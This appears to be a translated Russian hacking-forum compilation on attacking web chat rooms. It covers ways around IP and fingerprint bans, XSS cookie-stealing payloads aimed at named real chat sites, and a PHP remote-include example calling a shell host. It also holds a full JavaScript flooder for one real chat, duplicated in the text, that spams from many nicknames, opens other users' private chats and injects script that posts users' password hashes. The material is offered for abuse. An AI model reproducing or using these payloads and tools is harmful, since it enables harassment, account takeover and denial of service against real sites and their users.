Chats, Vulnerabilities. Codes. Flood
Bypass of BanIn many chat rooms, the admin can ban you on several parameters:
-to the nick-on the soap-on the IP-address-by Comp_ID The first two items cost a change of nickname and soap.
Bypass ban by IP address.
1) Exit the chat. 2) Delete the cookies for this chat. Close the browser window. 3) Change the IP using the proxy. 1. I think with the first point all will cope ... 2. In the browser (Internet Explorer), click Tools -> Internet Options -> delete "Cookies". 3.for the proxy use A4Proxy, Hide.IP.Platinum.v2.1 (look for newer versions) and there is also a program that changes the browser ID for "Super Bane" (Only on FastBB forums) "AntiBan"
Bypassing the ban on Comp_ID.
For example, take Comp_ID: yjQVj1KUZbd45, it consists of 13 characters (this is always). 1,2,3,4 characters - this is what is transferred by java script when entering the site, chat, forum and these characters change. This program 9,10 characters is a user agent! It changes by changing to another browser or by a change in the registry: go to the registry (start-> run-> regedit) look for this section: HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ Curr entVersion \ Internet Settings \ User Agent \ Post Platform Section a string parameter named "Ultra-pooper post platform" and a value, for example, "IEAK". And go to the browser! And you can change these symbols with the help of this program RMOSChange 11 and 5,6,7,8 symbols - time zone. Change the time zone and everything is ok. 12th - depth of color. Change the color depth in the screen settings. 13th - the resolution of the screen. Change the screen resolution.
Vulnerabilities in some chat rooms
------------------------- Vodoo CHAT ----------------------- ----- Type: [XSS] Product: Voodoo chat Author: qBiN Exploit: Http://site.com/chat/go.php?url=java script: alert (/ Tested% 20by% 20qBiN /); The decision: to filter variable url, it is possible even to check it on validity with help of sockets. ------------------------------ Type: [XSS] Product: Voodoo chat Author: qBiN Exploit: Http: //sitename/chat/password_reminder.php? Look_for =% 3Cscript% 3Ealert (/ qBiN test /);% 3C / script% 3E ------------------------------ Type: [PHP Including] Product: Voodoo chat 1.0RC1b and possibly bolier early versions. Source: xakep.ru Example: Http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM? ------------------------------ Type: FLOODER Product: Voodoo chat Author: NaX [no] r † Exploit: Http://www.balartrating.ru/flood.zip ------------------------- CHAT BORODIN ----------------------- ----- Maybe the material is a little old but still http://antichat.ru/txt/chat_borodin/ Video lies here http://video.antichat.net/videos/chat_borodin.rar Vulnerability found: Morph Posted by Morph ------------------------- NAROD Chat ----------------------- ----- Type: [XSS] Product: NAROD Chat Author: [sL1p] Exploit: Passive XSS: Http://www.yandex.ru/cgi-bin/customize.pl?yxqs= "> <script> alert (document.cookie) </ script> ------------------------- Vulnerabilities of specific chat rooms ---------------------- ----- Type: [XSS] Product: www.bazar.co.ua Author: max_pain89 Exploit: Passive XSS: Http://www.bazar.co.ua/?error [] = <script> confirm (/ xxx /) </ script> ------------------------------ Type: [XSS] Product: www.sibchat.ru Author: [sL1p], Kaban Exploit: Passive XSS: Http://www.sibchat.ru/gallery.php?sid= '> <script> alert (document.cookie) </ script> http://www.sibchat.ru/card_help.php?sid= "> < Script> alert (document.cookie) </ script> http://www.sibchat.ru/register.php?sid= "> <script> alert (document.cookie) </ script> ------------------------------ Type: [XSS] Product: www.chatinez.zp.ua Author: [sL1p] Exploit: Passive XSS: Http://chatinet.zp.ua/winter2005/party/?001=6941337 <a>% 22% 27 "> <script> alert (document.cookie) </ script> If desired 001 Can be replaced by: 002, 003, 004, 005, 006, 007, 008, 009, 010, 011, 012, 013, 014, 015, 016 ------------------------------ Type: [XSS] Product: www.smchat.ru Author: [sL1p] Exploit: Passive XSS: Http://www.smchat.ru/?key= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?chatname=&key= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?ontopic=default&login= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?activate=&login= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?password1=&login= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?det=default&login= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?count=1000&key= "> <script> alert (document.cookie) </ script> Http://www.smchat.ru/?email=&key= "> <script> alert (document.cookie) </ script> ------------------------------ Type: [XSS] Product: www.chat.ru Author: [sL1p] Exploit: Passive XSS: Http://www.chat.ru/user/register.html?dop10=default&confemail= "> <script> alert (document.cookie) </ script> Http://www.chat.ru/user/register.html?anotherpw= "> <script> alert (document.cookie) </ script> Http://www.chat.ru/user/register.html?city=&name= "> <script> alert (document.cookie) </ script> Http://www.chat.ru/user/register.html?action=default&username= "> <script> alert (document.cookie) </ script> Http://www.chat.ru/user/register.html?city=&year= "> <script> alert (document.cookie) </ script> By combining queries, you can implement much more xss than in this list.
------------------------------ Type: [XSS] Product: www.krovatka.ru Author: [sL1p], blackybr Exploit: Passive XSS: Http://klubnichka.krovatka.ru/k?f=45&newwin=1&id2=5816&id=5673xee7kY1Y&c=8 "> <script> alert (document.cookie) </ script> Http://klubnichka.krovatka.ru/f/e.cgi?c=6&n= "> <script> alert (document.cookie)% 3B </ script> Http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn= "> <script> alert (document.cookie)% 3B </ script> Http://klubnichka.krovatka.ru/sms/xp.cgi?mn="><script>alert(document.cookie)%3B</script>&ch=6&flag=0 Http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn=%3Cmeta+http-equiv=%3E%3C/title%3E%20%3Cscript%3Ealert(document.cookie)%3C/script % 3E For example, the channel klubnichka is taken, changing the name of the channel can be realistically implemented xss everywhere. ------------------------------ Type: [XSS] Product: www.chatcity.ru Author: [sL1p] Code: Http://www.ChatID.chatcity.ru/people/pp33.cgi?c=Chat ID & nn = "> <script> alert (document.cookie) </ script> Chat ID is replaced with the chat address. They all have a digital meaning. ------------------------------
Javascript is a flooder for phpmychat
How to use:
Chat address in <BASE href = "/click?http://neuch.ru/chat/">
(You need to specify the path to the chat folder, sometimes chat \ chat \)
Stop the flood button to stop any kind of flooding
The input from different nicks floods like this:
"User0 enters the room"
"User1 enters the room"
"User2 enters the room"
Log in and flood from different nicknames:
The same, only one who enters leaves one mesag
Entrance:
Just log into the chat so that you can flood from one user
What is below the heading Sending messages - for flooding from one user
From all users on IE:
You can write on behalf of all the others who are on IE
Other useful features
Change Pass
Hash with a sniffer and login to enter the profile, it's just so quick to change his pass
(No longer relevant, since the hash is not needed at all to fuck the user)
Alien Private:
Read the subject
Send scripts to the Mazilla
For the Mozilla browser, just there \ x3c \ x3e is not rolled, there's a special
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251"> <META NAME="Author" CONTENT="Advanced Lamer"> <META NAME="Description" CONTENT="Flooder"> <style> td {background-color:#ADD8E6;} th {background-color:#ADD8E6;} </style> <script> var i=0 var j=0; var temp var firstnick function flood() { if (fl==1) { MsgForm.submit() j++; MsgForm.elements[19].value=" "+j; time=Number(document.timeout.elements[0].value) setTimeout("flood()",time) } } function send() { document.MsgForm.elements[14].value=temp document.MsgForm.elements[16].value=document.form0.elements[7].value MsgForm.submit() time=Number(document.timeout.elements[0].value) setTimeout("enterflood(1)",time) } function enterflood(a) { if (fl==1) { temp=firstnick+ii=i+1 document.form0.elements[5].value=temp document.form0.submit() time=Number(document.timeout.elements[0].value) if (a==1) setTimeout("send()",time) else setTimeout("enterflood(0)",time) } } function enterflood0(b) { firstnick=document.form0.elements[5].value enterflood(b) } function infa() { var url_="http://neuch.ru/chat/whois_popup.php3?L=russian&&U="+document.func.elements[1].value inf=window.open(url_) } function allie() { document.MsgForm.M.value="\\x3cscript\\x3ewindow.parent.window.input.documen t.MsgForm.M.value=\"\/bye Я пошел! Всем пока!\";window.parent.window.input.document.MsgForm.submi t()\\x3c\/script\\x3e\\test" } function allie1() { document.MsgForm1.M.value="\\x3cscript\\x3ewindow.parent.window.input.documen t.MsgForm.M.value=\"\/bye Я пошел! Всем пока!\";window.parent.window.input.document.MsgForm.submi t()\\x3c\/script\\x3e\\test" } function clearmsg() { document.MsgForm.M.value="" } function clearmsg1() { document.MsgForm1.M.value="" } function privat() { var url_="http://neuch.ru/chat/messagesL.php3??From=index.php3&L=russian&Ver=H&U="+document.func.elements[3].value+"&R="+document.func.elements[4].value+"&T=1&D=15&N=40&ST=1&NT=1&PWD_Hash=1220be894c466859602499e1ea2172b0&First=1" priv=window.open(url_) } function changepass() { var cp=window.open("","","width=800,height=600","scrollbars=no,resizable=no,toolbar=no,menubar=no,l ocation=no") cp.document.write("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1251\">\n<META NAME=\"Author\" CONTENT=\"Advanced Lamer\">\n<META NAME=\"Description\" CONTENT=\"Flooder\">\n<META NAME=\"Keywords\" CONTENT=\"neuch, flood\">\n<style>\ntd {background-color:#ADD8E6}\n</style>\n") cp.document.write("<script>\n") cp.document.write("function addhidden()\n{\ndocument.forms[0].AUTH_USERNAME.value=document.forms[0].U.value\ndocument.forms[0].submit()\n}\n") cp.document.write("<\/script>\n") cp.document.write("</HEAD>\n<BODY bgcolor=#008B8B>\n") cp.document.write("<FORM ACTION=\"http://neuch.ru/chat/edituser.php3\" METHOD=POST>\n") cp.document.write("<INPUT type=hidden name=FORM_SEND value=1>\n") cp.document.write("<INPUT type=hidden name=AUTH_USERNAME value=\"\">\n") cp.document.write("<INPUT TYPE=hidden NAME=PASSWORD SIZE=20 MAXLENGTH=30 VALUE=\"\"> \n") cp.document.write("<table border=1 bordercolor=blue cellpadding=10 align=center><tr><td>Хеш<td><INPUT type=text size=35 name=AUTH_PASSWORD value=\"\"> \n") cp.document.write("<INPUT TYPE=hidden NAME=L VALUE=russian>\n") cp.document.write("<tr><td>Имя<td><INPUT TYPE=text NAME=U SIZE=25 MAXLENGTH=30 VALUE=\"\"> \n") cp.document.write("<tr><td align=center colspan=2><INPUT TYPE=button NAME=submit_type VALUE=Профайл onclick=addhidden()>\n") cp.document.write("</table>\n") cp.document.write("</FORM>") cp.document.write("</BODY>\n</HTML>") } </script> <TITLE>"Набор скриптов для издевательства над чатом" от Advanced Lamer'а v1.1</TITLE> <BASE href="/click?http://neuch.ru/chat/"> </HEAD> <BODY bgcolor=#008B8B topmargin=0 leftmargin=0> <script> var fl fl=0 </script> <h1 align=center><font size=5 color=yellow face=verdana>Вход в чат</font></h1> <FORM name=form0 ACTION="index.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="Ver" VALUE="L"> <INPUT TYPE="hidden" NAME="Form_Send" VALUE="1"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <table border=1 bordercolor=blue cellpadding=5 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" SIZE=20 MAXLENGTH=20 VALUE="hackme" onchange="java script:i=0;"> <script> firstnick=document.form0.elements[5].value </script> <tr> <td> <font size=5 color=navy face=verdana>Пасс:</font> <td> <INPUT TYPE="password" NAME="PASSWORD" SIZE=20 MAXLENGTH=20> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R0" size=30 value=Общая> <tr> <td> <font size=5 color=navy face=verdana>Общедоступная</font> <td> <INPUT TYPE="text" NAME="R1" size=30> <tr> <td> <font size=5 color=navy face=verdana>Приватная</font> <td> <INPUT TYPE="text" NAME="R2" SIZE=30> <tr> <td align=center rowspan=2> <INPUT TYPE="submit" value="Вход"> <td align=center> <INPUT TYPE="button" value="Вход и флуд от разных ников" onclick="java script:fl=1;enterflood0(1)"> <tr> <td align=center> <INPUT TYPE="button" value="Вход от разных ников" onclick="java script:fl=1;enterflood0(0)"> </table> </FORM> <p> <h1 align=center><font size=5 color=yellow face=verdana>Отправка сообщений</font></h1> <p> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30% align=center> <font size=3 color=navy face=verdana>Таймаут (мс):</font> <td align=center> <form name=timeout><input type=text maxlength=8 size=8 value=1000></form> <tr> <td colspan=2 align=center> <form name=stop><input type=button value="Остановить флуд" onclick="java script:fl=0;document.form0.elements[5].value=firstnick"></form> </table> <script> var time=Number(document.timeout.elements[0].value) </script> <p> <FORM NAME="MsgForm" ACTION="handle_inputH.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="From" VALUE="index.php3"> <INPUT TYPE="hidden" NAME="Ver" VALUE="H"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="T" VALUE="1"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="O" VALUE="1"> <INPUT TYPE="hidden" NAME="ST" VALUE="1"> <INPUT TYPE="hidden" NAME="NT" VALUE="1"> <INPUT TYPE="hidden" NAME="PWD_Hash" VALUE=""> <INPUT TYPE="hidden" NAME="Ign" VALUE=""> <INPUT TYPE="hidden" NAME="M0" VALUE=""> <INPUT TYPE="hidden" NAME="sent" VALUE="0"> <INPUT TYPE="hidden" NAME="MsgTo" VALUE=""> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" VALUE="hackme"> <tr> <td> <font size=5 color=navy face=verdana>Цвет:</font> <td> <input type=text name="C" value=blue> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R" VALUE="Общая"> <tr> <td> <font size=5 color=navy face=verdana>Сообщение:</font> <td><textarea NAME="M" cols=80 rows=10>Флуд!!! </textarea> <tr> <th> <INPUT TYPE="button" VALUE="Flood" onclick="java script:fl=1;flood()"> <font size=2 color=navy face=verdana>Отправлено <input type=text size=4> сообщений</font> <script> MsgForm.elements[19].value=" 0"; </script> <td align=center> <input type=button value="От всех юзеров на IE" onclick=allie()> <input type=button value="Очистить" onclick=clearmsg()> </table> </FORM> <p> <h1 align=center><font size=5 color=yellow face=verdana>Другие полезные функции</font></h1> <form name=func> <table border=2 bordercolor=blue cellpadding=20 align=center width=50%> <tr> <td align=center> <input type=button value="Сменить пасс" onclick=changepass()> <tr> <td align=center> <INPUT TYPE=TEXT name=infauser size=20 value=""> <input type=button value="Инфа о пользователе" onclick=infa()> <tr> <td align=center> <font size=3 color=navy face=verdana>Юзер:</font> <input type=text size=20> <font size=3 color=navy face=verdana>Комната:</font> <input type=text size=20 value="Общая"> <input type=button value="Чужой приват" onclick=privat()> </table> </form> <p> <h1 align=center><font size=5 color=yellow face=verdana>Отправка скриптов для Мазилы</font></h1> <FORM NAME="MsgForm1" ACTION="handle_inputH.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="From" VALUE="index.php3"> <INPUT TYPE="hidden" NAME="Ver" VALUE="H"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="T" VALUE="1"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="O" VALUE="1"> <INPUT TYPE="hidden" NAME="ST" VALUE="1"> <INPUT TYPE="hidden" NAME="NT" VALUE="1"> <INPUT TYPE="hidden" NAME="PWD_Hash" VALUE=""> <INPUT TYPE="hidden" NAME="Ign" VALUE=""> <INPUT TYPE="hidden" NAME="M0" VALUE=""> <INPUT TYPE="hidden" NAME="sent" VALUE="0"> <INPUT TYPE="hidden" NAME="MsgTo" VALUE=""> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" VALUE="hackme"> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R" VALUE="Общая"> <tr> <td> <font size=5 color=navy face=verdana>Сообщение:</font> <td><textarea NAME="M" cols=70 rows=5>>>>>> </textarea> <tr> <td> <font size=5 color=navy face=verdana>Скрипты:</font> <td> <textarea NAME="C" cols=70 rows=10>"> <script> window.parent.window.input.document.MsgForm.M.valu e=window.parent.window.input.document.MsgForm.PWD_ Hash.value;window.parent.window.input.document.MsgForm.submi t() </script> </</textarea> <tr> <th> <INPUT TYPE="button" VALUE="Отправить" onclick="java script:document.MsgForm1.submit()"> <td align=center> <input type=button value="От всех юзеров на IE" onclick=allie1()> <input type=button value="Очистить" onclick=clearmsg1()> </table> </FORM> <!-- © Advanced Lamer, 2005 --> </BODY> </HTML<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251"> <META NAME="Author" CONTENT="Advanced Lamer"> <META NAME="Description" CONTENT="Flooder"> <style> td {background-color:#ADD8E6;} th {background-color:#ADD8E6;} </style> <script> var i=0 var j=0; var temp var firstnick function flood() { if (fl==1) { MsgForm.submit() j++; MsgForm.elements[19].value=" "+j; time=Number(document.timeout.elements[0].value) setTimeout("flood()",time) } } function send() { document.MsgForm.elements[14].value=temp document.MsgForm.elements[16].value=document.form0.elements[7].value MsgForm.submit() time=Number(document.timeout.elements[0].value) setTimeout("enterflood(1)",time) } function enterflood(a) { if (fl==1) { temp=firstnick+ii=i+1 document.form0.elements[5].value=temp document.form0.submit() time=Number(document.timeout.elements[0].value) if (a==1) setTimeout("send()",time) else setTimeout("enterflood(0)",time) } } function enterflood0(b) { firstnick=document.form0.elements[5].value enterflood(b) } function infa() { var url_="http://neuch.ru/chat/whois_popup.php3?L=russian&&U="+document.func.elements[1].value inf=window.open(url_) } function allie() { document.MsgForm.M.value="\\x3cscript\\x3ewindow.parent.window.input.documen t.MsgForm.M.value=\"\/bye Я пошел! Всем пока!\";window.parent.window.input.document.MsgForm.submi t()\\x3c\/script\\x3e\\test" } function allie1() { document.MsgForm1.M.value="\\x3cscript\\x3ewindow.parent.window.input.documen t.MsgForm.M.value=\"\/bye Я пошел! Всем пока!\";window.parent.window.input.document.MsgForm.submi t()\\x3c\/script\\x3e\\test" } function clearmsg() { document.MsgForm.M.value="" } function clearmsg1() { document.MsgForm1.M.value="" } function privat() { var url_="http://neuch.ru/chat/messagesL.php3??From=index.php3&L=russian&Ver=H&U="+document.func.elements[3].value+"&R="+document.func.elements[4].value+"&T=1&D=15&N=40&ST=1&NT=1&PWD_Hash=1220be894c466859602499e1ea2172b0&First=1" priv=window.open(url_) } function changepass() { var cp=window.open("","","width=800,height=600","scrollbars=no,resizable=no,toolbar=no,menubar=no,l ocation=no") cp.document.write("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1251\">\n<META NAME=\"Author\" CONTENT=\"Advanced Lamer\">\n<META NAME=\"Description\" CONTENT=\"Flooder\">\n<META NAME=\"Keywords\" CONTENT=\"neuch, flood\">\n<style>\ntd {background-color:#ADD8E6}\n</style>\n") cp.document.write("<script>\n") cp.document.write("function addhidden()\n{\ndocument.forms[0].AUTH_USERNAME.value=document.forms[0].U.value\ndocument.forms[0].submit()\n}\n") cp.document.write("<\/script>\n") cp.document.write("</HEAD>\n<BODY bgcolor=#008B8B>\n") cp.document.write("<FORM ACTION=\"http://neuch.ru/chat/edituser.php3\" METHOD=POST>\n") cp.document.write("<INPUT type=hidden name=FORM_SEND value=1>\n") cp.document.write("<INPUT type=hidden name=AUTH_USERNAME value=\"\">\n") cp.document.write("<INPUT TYPE=hidden NAME=PASSWORD SIZE=20 MAXLENGTH=30 VALUE=\"\"> \n") cp.document.write("<table border=1 bordercolor=blue cellpadding=10 align=center><tr><td>Хеш<td><INPUT type=text size=35 name=AUTH_PASSWORD value=\"\"> \n") cp.document.write("<INPUT TYPE=hidden NAME=L VALUE=russian>\n") cp.document.write("<tr><td>Имя<td><INPUT TYPE=text NAME=U SIZE=25 MAXLENGTH=30 VALUE=\"\"> \n") cp.document.write("<tr><td align=center colspan=2><INPUT TYPE=button NAME=submit_type VALUE=Профайл onclick=addhidden()>\n") cp.document.write("</table>\n") cp.document.write("</FORM>") cp.document.write("</BODY>\n</HTML>") } </script> <TITLE>"Набор скриптов для издевательства над чатом" от Advanced Lamer'а v1.1</TITLE> <BASE href="/click?http://neuch.ru/chat/"> </HEAD> <BODY bgcolor=#008B8B topmargin=0 leftmargin=0> <script> var fl fl=0 </script> <h1 align=center><font size=5 color=yellow face=verdana>Вход в чат</font></h1> <FORM name=form0 ACTION="index.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="Ver" VALUE="L"> <INPUT TYPE="hidden" NAME="Form_Send" VALUE="1"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <table border=1 bordercolor=blue cellpadding=5 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" SIZE=20 MAXLENGTH=20 VALUE="hackme" onchange="java script:i=0;"> <script> firstnick=document.form0.elements[5].value </script> <tr> <td> <font size=5 color=navy face=verdana>Пасс:</font> <td> <INPUT TYPE="password" NAME="PASSWORD" SIZE=20 MAXLENGTH=20> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R0" size=30 value=Общая> <tr> <td> <font size=5 color=navy face=verdana>Общедоступная</font> <td> <INPUT TYPE="text" NAME="R1" size=30> <tr> <td> <font size=5 color=navy face=verdana>Приватная</font> <td> <INPUT TYPE="text" NAME="R2" SIZE=30> <tr> <td align=center rowspan=2> <INPUT TYPE="submit" value="Вход"> <td align=center> <INPUT TYPE="button" value="Вход и флуд от разных ников" onclick="java script:fl=1;enterflood0(1)"> <tr> <td align=center> <INPUT TYPE="button" value="Вход от разных ников" onclick="java script:fl=1;enterflood0(0)"> </table> </FORM> <p> <h1 align=center><font size=5 color=yellow face=verdana>Отправка сообщений</font></h1> <p> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30% align=center> <font size=3 color=navy face=verdana>Таймаут (мс):</font> <td align=center> <form name=timeout><input type=text maxlength=8 size=8 value=1000></form> <tr> <td colspan=2 align=center> <form name=stop><input type=button value="Остановить флуд" onclick="java script:fl=0;document.form0.elements[5].value=firstnick"></form> </table> <script> var time=Number(document.timeout.elements[0].value) </script> <p> <FORM NAME="MsgForm" ACTION="handle_inputH.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="From" VALUE="index.php3"> <INPUT TYPE="hidden" NAME="Ver" VALUE="H"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="T" VALUE="1"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="O" VALUE="1"> <INPUT TYPE="hidden" NAME="ST" VALUE="1"> <INPUT TYPE="hidden" NAME="NT" VALUE="1"> <INPUT TYPE="hidden" NAME="PWD_Hash" VALUE=""> <INPUT TYPE="hidden" NAME="Ign" VALUE=""> <INPUT TYPE="hidden" NAME="M0" VALUE=""> <INPUT TYPE="hidden" NAME="sent" VALUE="0"> <INPUT TYPE="hidden" NAME="MsgTo" VALUE=""> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" VALUE="hackme"> <tr> <td> <font size=5 color=navy face=verdana>Цвет:</font> <td> <input type=text name="C" value=blue> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R" VALUE="Общая"> <tr> <td> <font size=5 color=navy face=verdana>Сообщение:</font> <td><textarea NAME="M" cols=80 rows=10>Флуд!!! </textarea> <tr> <th> <INPUT TYPE="button" VALUE="Flood" onclick="java script:fl=1;flood()"> <font size=2 color=navy face=verdana>Отправлено <input type=text size=4> сообщений</font> <script> MsgForm.elements[19].value=" 0"; </script> <td align=center> <input type=button value="От всех юзеров на IE" onclick=allie()> <input type=button value="Очистить" onclick=clearmsg()> </table> </FORM> <p> <h1 align=center><font size=5 color=yellow face=verdana>Другие полезные функции</font></h1> <form name=func> <table border=2 bordercolor=blue cellpadding=20 align=center width=50%> <tr> <td align=center> <input type=button value="Сменить пасс" onclick=changepass()> <tr> <td align=center> <INPUT TYPE=TEXT name=infauser size=20 value=""> <input type=button value="Инфа о пользователе" onclick=infa()> <tr> <td align=center> <font size=3 color=navy face=verdana>Юзер:</font> <input type=text size=20> <font size=3 color=navy face=verdana>Комната:</font> <input type=text size=20 value="Общая"> <input type=button value="Чужой приват" onclick=privat()> </table> </form> <p> <h1 align=center><font size=5 color=yellow face=verdana>Отправка скриптов для Мазилы</font></h1> <FORM NAME="MsgForm1" ACTION="handle_inputH.php3" METHOD="POST" TARGET="input_sent"> <INPUT TYPE="hidden" NAME="From" VALUE="index.php3"> <INPUT TYPE="hidden" NAME="Ver" VALUE="H"> <INPUT TYPE="hidden" NAME="L" VALUE="russian"> <INPUT TYPE="hidden" NAME="T" VALUE="1"> <INPUT TYPE="hidden" NAME="D" VALUE="10"> <INPUT TYPE="hidden" NAME="N" VALUE="20"> <INPUT TYPE="hidden" NAME="O" VALUE="1"> <INPUT TYPE="hidden" NAME="ST" VALUE="1"> <INPUT TYPE="hidden" NAME="NT" VALUE="1"> <INPUT TYPE="hidden" NAME="PWD_Hash" VALUE=""> <INPUT TYPE="hidden" NAME="Ign" VALUE=""> <INPUT TYPE="hidden" NAME="M0" VALUE=""> <INPUT TYPE="hidden" NAME="sent" VALUE="0"> <INPUT TYPE="hidden" NAME="MsgTo" VALUE=""> <table border=2 bordercolor=blue cellpadding=10 align=center> <tr> <td width=30%> <font size=5 color=navy face=verdana>Ник:</font> <td> <INPUT TYPE="text" NAME="U" VALUE="hackme"> <tr> <td> <font size=5 color=navy face=verdana>Комната:</font> <td> <INPUT TYPE="text" NAME="R" VALUE="Общая"> <tr> <td> <font size=5 color=navy face=verdana>Сообщение:</font> <td><textarea NAME="M" cols=70 rows=5>>>>>> </textarea> <tr> <td> <font size=5 color=navy face=verdana>Скрипты:</font> <td> <textarea NAME="C" cols=70 rows=10>"> <script> window.parent.window.input.document.MsgForm.M.valu e=window.parent.window.input.document.MsgForm.PWD_ Hash.value;window.parent.window.input.document.MsgForm.submi t() </script> </</textarea> <tr> <th> <INPUT TYPE="button" VALUE="Отправить" onclick="java script:document.MsgForm1.submit()"> <td align=center> <input type=button value="От всех юзеров на IE" onclick=allie1()> <input type=button value="Очистить" onclick=clearmsg1()> </table> </FORM> <!-- © Advanced Lamer, 2005 --> </BODY> </HTMLSave to * .htm and use
IE XSS Kit
I decided here at leisure to consider a set of tools for xss, which lies on the anti-chat website. Download IE xss kit Another little preface. I repaid all this in this section. This set will help in the search for vulnerabilities in the chat and slightly increase your chances. Today I will briefly tell about the form editor:
Form_Select-one2Text
This form editor allows us to turn frames with wired options into our own test site.Let's start with the simplest, in most chats there is a choice of color which in the html form is done this way:
<OPTION selected VALUE = "Black" STYLE = "color: black"> Black </ OPTION> In fact, it looks like this:As you can see there are wired colors, the use of others is not yet possible. Now we bring the mouse cursor to the frame with the choice of color, Right-click and select the command Form_Select-one2Text And this frame with a strict color choice becomes an empty frame with the possibility of writing any text there. (Not everything that you write will work). Here's how it looks after applying Form_Select-one2Text :
Now you can enter any color code, for example #FFFFFF. Also this command makes many frames free for editing. (For example, in one chat with the choice of sex, I made myself a "Nightmare Hermofrodit"). You can also directly look for xss vulnerabilities, substituting this code in the frames that have become available to us. Here are a lot of codes that can trigger an alert and actually find xss. Now you are familiar with the form editor Form_Select-one2Text
Form_Method2Text, Form_Hidden2Text
Let's start with Form_Method2Text . The command itself is not very necessary, because It opens the frame where the method of working with the page is written. The most basic methods are: post and get. The post method means that you enter your data on the page. Most often it occurs on forums, guest books, chat rooms, etc. The get method means that you get any data from the page itself, most often it is used in search engines, this method can be found almost everywhere. In general, this command is not noticeable, but it as well as the rest gives access to an open frame. And of course in some Internet resources if you replace the post or get on the xss code, then the JavaScript is successfully executed.Now go through the command Form_Hidden2Text . By itself, this command allows you to view data that is protected in the page (sorts) and allows them to be adjusted.
I will show you an illustrative example. I tested this method on one of the chatsichi chat rooms when I need to send an error report.
Here it is: http://www.38557.chatcity.ru/bug/?err=IllegalChannel(get_ch)&www.38557.chatcity.ru& Screen I will not do, tk. Go to the link and see for yourself. Now on this page we use the command Form_Hidden2Text , As you can see the frames with the user's data are opened that came to this page. (They are also in the sorts) Now they can be edited, I'll explain why. When sending an error report to the administrator of the chat, the same data will come Which became available to us for editing. This suggests that you can remain anonymous this time. Here is the screen of what we discovered:As you can see, you can erase everything or substitute other people's data. And this is the same stored in the sorts:
<input type=hidden name=err value="IllegalChannel(get_ch)"> <input type=hidden name=browser value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"> <input type=hidden name=addr value="айпи мойBut now we can all edit and remain anonymous, writing to the administration a couple of affectionate That's all that these two teams can do.)"> <input type=hidden name=via value=""> <input type=hidden name=referer value="http://www.38557.chatcity.ru/kpobatka"> <input type=hidden name=args value="www.38557.chatcity.ru&">
Form_Target2Text
